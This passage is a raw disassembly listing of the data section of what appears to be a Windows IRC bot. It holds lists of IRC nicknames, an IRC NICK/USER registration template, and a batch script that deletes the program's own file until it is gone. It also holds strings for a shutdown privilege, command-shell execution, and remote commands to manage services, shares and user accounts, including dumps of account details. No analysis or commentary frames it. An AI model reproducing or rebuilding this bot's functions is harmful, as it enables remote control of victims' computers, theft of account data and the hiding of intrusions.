"muckc" dd offset dword_4387B8 dd offset dword_4387C4 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438170 dd offset aBbl ; "|bbl" dd offset dword_43D158 dd offset dword_43D158 dd offset a___0 ; "_|_" dd offset dword_43D158 dd offset dword_43D158 dd offset dword_43D158 dd offset dword_43D158 dd offset dword_438780 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_4387B0 dd offset dword_43D158 dd offset aSleeping ; "Sleeping" dd offset dword_43D158 dd offset dword_43D158 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D158 dd offset dword_43D158 dd offset dword_438764 dd offset dword_43D158 dd offset off_438130 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380F0 dd offset dword_4380EC dd offset dword_4380E4 dd offset dword_4380D8 dd offset dword_4380D0 dd offset dword_4380C8 dd offset dword_4380C0 dd offset dword_4380BC dd offset dword_4380B8 dword_4380B8 dd 7536h ; DATA XREF: ___:004380B4o dword_4380BC dd 7535h ; DATA XREF: ___:004380B0o dword_4380C0 dd 7C75347Ch, 0 ; DATA XREF: ___:004380ACo dword_4380C8 dd 6F79347Bh, 7D75h ; DATA XREF: ___:004380A8o dword_4380D0 dd 7375347Ch, 7Ch ; DATA XREF: ___:004380A4o dword_4380D8 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:004380A0o dword_4380E4 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043809Co dword_4380EC dd 6C6F6Ch ; DATA XREF: ___:00438098o dword_4380F0 dd 746F74h ; DATA XREF: ___:00438094o aMofo db 'mofo',0 ; DATA XREF: ___:00438090o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:0043808Co align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438088o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438084o align 4 aAha db 'aha',0 ; DATA XREF: ___:00438080o aShit db 'shit',0 ; DATA XREF: ___:0043807Co align 10h aGurl db 'gurl',0 ; DATA XREF: ___:00438078o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438074o align 10h off_438130 dd offset word_594F42 ; DATA XREF: ___:00438070o aFree db 'Free',0 ; DATA XREF: ___:0043805Co align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438058o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:0043804Co align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:00438040o align 4 aSad db 'Sad',0 ; DATA XREF: ___:0043803Co aLuvu db 'LUVU',0 ; DATA XREF: ___:00438038o align 4 a___0 db '_|_',0 ; DATA XREF: ___:0043801Co aBbl db '|bbl',0 ; DATA XREF: ___:00438010o align 10h off_438170 dd offset loc_425242 ; DATA XREF: ___:0043800Co aMuckc db 'muckc',0 ; DATA XREF: ___:00437FF8o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00437FF4o align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00437FF0o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00437FECo align 4 aUi db 'ui',0 ; DATA XREF: ___:00437FE8o align 4 aSdf db 'sdf',0 ; DATA XREF: ___:00437FE4o aRt db 'rt',0 ; DATA XREF: ___:00437FE0o align 10h aGf db 'gf',0 ; DATA XREF: ___:00437FDCo align 4 aTy db 'ty',0 ; DATA XREF: ___:00437FD8o align 4 aRg db 'rg',0 ; DATA XREF: ___:00437FD4o align 4 aHappy db 'happy',0 ; DATA XREF: ___:00437FD0o align 4 aRs db 'rs',0 ; DATA XREF: ___:00437FB0o align 4 aQ8A db '|q8|a',0 align 10h aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00437F5Do align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 10h aGens db '{gens|',0 ; DATA XREF: ___:00437F54o align 4 aSex db '{sex}',0 ; DATA XREF: ___:00437F50o align 10h aHub db '{hub}',0 ; DATA XREF: ___:00437F4Co align 4 aLuck db '|luck|',0 ; DATA XREF: ___:00437F48o align 10h aSuck db '|suck|',0 ; DATA XREF: ___:00437F44o align 4 aTot db '-|tot|',0 ; DATA XREF: ___:00437F40o align 10h aWoh db '|woh|',0 ; DATA XREF: ___:00437F3Co align 4 aTambe db '|tambe|',0 ; DATA XREF: ___:00437F38o aLag db 'lag',0 ; DATA XREF: ___:00437F34o aBad db 'bad',0 ; DATA XREF: ___:00437F30o aTree db 'tree',0 ; DATA XREF: ___:00437F2Co align 10h aZex db 'zex',0 ; DATA XREF: ___:00437F28o aLez db 'lez',0 ; DATA XREF: ___:00437F24o aSex_0 db 'sex',0 ; DATA XREF: ___:off_437F20o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437F1Co align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437F18o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437F14o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437F10o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437F0Co align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437F08o align 10h aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437F04o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437F00o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437EFCo align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437EF8o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EF4o align 10h aPassenger db 'passenger',0 ; DATA XREF: ___:00437EF0o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EECo align 4 aUla db 'ula',0 ; DATA XREF: ___:00437EE8o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EE4o aAkden db 'akden',0 ; DATA XREF: ___:00437EE0o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EDCo align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437ED8o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437ED4o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437ED0o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437ECCo align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437EC8o align 10h aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437EC4o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00437EC0o align 10h aErkan db 'erkan',0 ; DATA XREF: ___:00437EBCo align 4 aDevre db 'devre',0 ; DATA XREF: ___:00437EB8o align 10h aYabanc db 'yabanc',0 ; DATA XREF: ___:00437EB4o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00437EB0o align 10h aA44m db 'a44m',0 ; DATA XREF: ___:00437EACo align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437EA8o align 4 off_438354 dd offset byte_4B5245 ; DATA XREF: ___:00437EA4o aSevda db 'sevda',0 ; DATA XREF: ___:00437EA0o align 10h aKotan db 'kotan',0 ; DATA XREF: ___:00437E9Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E98o align 10h aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E94o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E90o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E8Co align 10h aHayran db 'hayran',0 ; DATA XREF: ___:00437E88o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E84o align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E80o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E7Co aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E78o align 10h aUmut db 'umut-',0 ; DATA XREF: ___:00437E74o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E70o align 10h aKumul db 'kumul',0 ; DATA XREF: ___:00437E6Co align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E68o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E64o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E60o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E5Co align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E58o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E54o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E50o aHoly db 'holy',0 ; DATA XREF: ___:00437E4Co align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E48o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E44o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E40o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E3Co align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E38o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E34o align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E30o align 10h aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437E2Co align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437E28o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437E24o aArda db 'arda',0 ; DATA XREF: ___:00437E20o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00437E1Co align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437E18o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437E14o align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437E10o align 10h aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437E0Co align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437E08o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437E04o align 10h aAnkh db 'ankh',0 ; DATA XREF: ___:00437E00o align 4 off_4384E8 dd offset byte_457441 ; DATA XREF: ___:00437DFCo dword_4384EC dd 414C5941h, 2Dh ; DATA XREF: ___:00437DF8o aAlbina db 'albina',0 ; DATA XREF: ___:00437DF4o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DF0o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00437DECo align 10h aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DE8o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DE4o align 10h aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DE0o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DDCo align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DD8o align 10h aRetg db 'RETG',0 ; DATA XREF: ___:00437DD4o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DD0o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437DCCo aAslii db 'aslii',0 ; DATA XREF: ___:00437DC8o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437DC4o aHaticem db 'haticem',0 ; DATA XREF: ___:00437DC0o aArzu db 'ARZU',0 ; DATA XREF: ___:00437DBCo align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437DB8o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437DB4o align 10h aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437DB0o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437DACo align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437DA8o align 10h aTrend3 db 'trend3',0 ; DATA XREF: ___:00437DA4o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00437DA0o align 10h aAkin db 'AKIN',0 ; DATA XREF: ___:00437D9Co align 4 aMary db 'MARY',0 ; DATA XREF: ___:00437D98o align 10h aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D94o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D90o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D8Co align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D88o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D84o align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D80o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D7Co align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D78o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D74o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D70o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D6Co align 10h aKencing db 'Kencing',0 ; DATA XREF: ___:00437D68o aReshma db 'reshma',0 ; DATA XREF: ___:00437D64o align 10h aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D60o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:00437D5Co align 10h aImra db 'imra',0 ; DATA XREF: ___:00437D58o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D54o align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D50o align 10h aKermit db 'kermit',0 ; DATA XREF: ___:00437D4Co align 4 aManee db 'manee',0 ; DATA XREF: ___:00437D48o align 10h aTroller db 'troller',0 ; DATA XREF: ___:00437D44o aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D40o align 10h aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D3Co align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D38o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D34o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D30o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437D2Co align 4 aCme db 'cme',0 ; DATA XREF: ___:00437D28o aMarcy db 'marcy',0 ; DATA XREF: ___:00437D24o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00437D20o align 10h aShez db 'Shez',0 ; DATA XREF: ___:00437D1Co align 4 aKen db 'ken',0 ; DATA XREF: ___:00437D18o aFlexster db 'flexster',0 ; DATA XREF: ___:00437D14o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00437D10o align 10h aMale db 'male',0 ; DATA XREF: ___:00437D0Co align 4 aSwin db 'swin',0 ; DATA XREF: ___:00437D08o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437D04o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437D00o align 10h aEmilya db 'emilya',0 ; DATA XREF: ___:00437CFCo align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CF8o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CF4o aFarooq db 'farooq',0 ; DATA XREF: ___:00437CF0o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CECo align 10h aM_0: ; DATA XREF: ___:00437CE8o ; ___:00438034o unicode 0, <M>,0 word_438754 dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CE4o align 4 dword_438758 dd 42h ; DATA XREF: ___:00437CE0o dword_43875C dd 56h ; DATA XREF: ___:00437CDCo dword_438760 dd 43h ; DATA XREF: ___:00437CD8o dword_438764 dd 58h ; DATA XREF: ___:00437CD4o ; ___:00438068o dword_438768 dd 5Ah ; DATA XREF: ___:00437CD0o dword_43876C dd 4Ch ; DATA XREF: ___:00437CCCo dword_438770 dd 4Bh ; DATA XREF: ___:00437CC8o dword_438774 dd 4Ah ; DATA XREF: ___:00437CC4o dword_438778 dd 48h ; DATA XREF: ___:00437CC0o dword_43877C dd 47h ; DATA XREF: ___:00437CBCo dword_438780 dd 46h ; DATA XREF: ___:00437CB8o ; ___:00438030o dword_438784 dd 44h ; DATA XREF: ___:00437CB4o dword_438788 dd 53h ; DATA XREF: ___:00437CB0o dword_43878C dd 50h ; DATA XREF: ___:00437CA8o dword_438790 dd 4Fh ; DATA XREF: ___:00437CA4o dword_438794 dd 55h ; DATA XREF: ___:00437C9Co word_438798 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437C98o align 4 dword_43879C dd 54h ; DATA XREF: ___:00437C94o dword_4387A0 dd 52h ; DATA XREF: ___:00437C90o dword_4387A4 dd 45h ; DATA XREF: ___:00437C8Co dword_4387A8 dd 57h ; DATA XREF: ___:00437C88o dword_4387AC dd 51h ; DATA XREF: ___:00437C84o dword_4387B0 dd 62h ; DATA XREF: ___:00437C78o ; ___:00438044o dword_4387B4 dd 78h ; DATA XREF: ___:00437C6Co ; ___:00437FC4o dword_4387B8 dd 7Ah ; DATA XREF: ___:00437C68o ; ___:00437FCCo ... dword_4387BC dd 6Ch ; DATA XREF: ___:00437C64o ; ___:00437F98o dword_4387C0 dd 68h ; DATA XREF: ___:00437C58o dword_4387C4 dd 67h ; DATA XREF: ___:00437C54o ; ___:00438000o dword_4387C8 dd 66h ; DATA XREF: ___:00437C50o dword_4387CC dd 79h ; DATA XREF: ___:00437FC8o dword_4387D0 dd 77h ; DATA XREF: ___:00437FC0o dword_4387D4 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387E0 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387E4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_43895C db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43898C db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_4389B4 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389D0 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389D4 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389D8 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A44h, 438A3Ch, 2, 438A30h, 438A24h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:00438A04o aStop_0 db 'Stop',0 ; DATA XREF: ___:00438A00o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004389F8o aStart_0 db 'Start',0 ; DATA XREF: ___:004389F4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389ECo align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389E8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389E0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389DCo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389D4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389D0o unk_438A98 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438ABC db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438AE8 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_43903C db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_439060 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_43907C db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_4390C8 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 4 unk_439128 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_439150 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439180 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_4391A0 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_43935C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 10h unk_439390 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 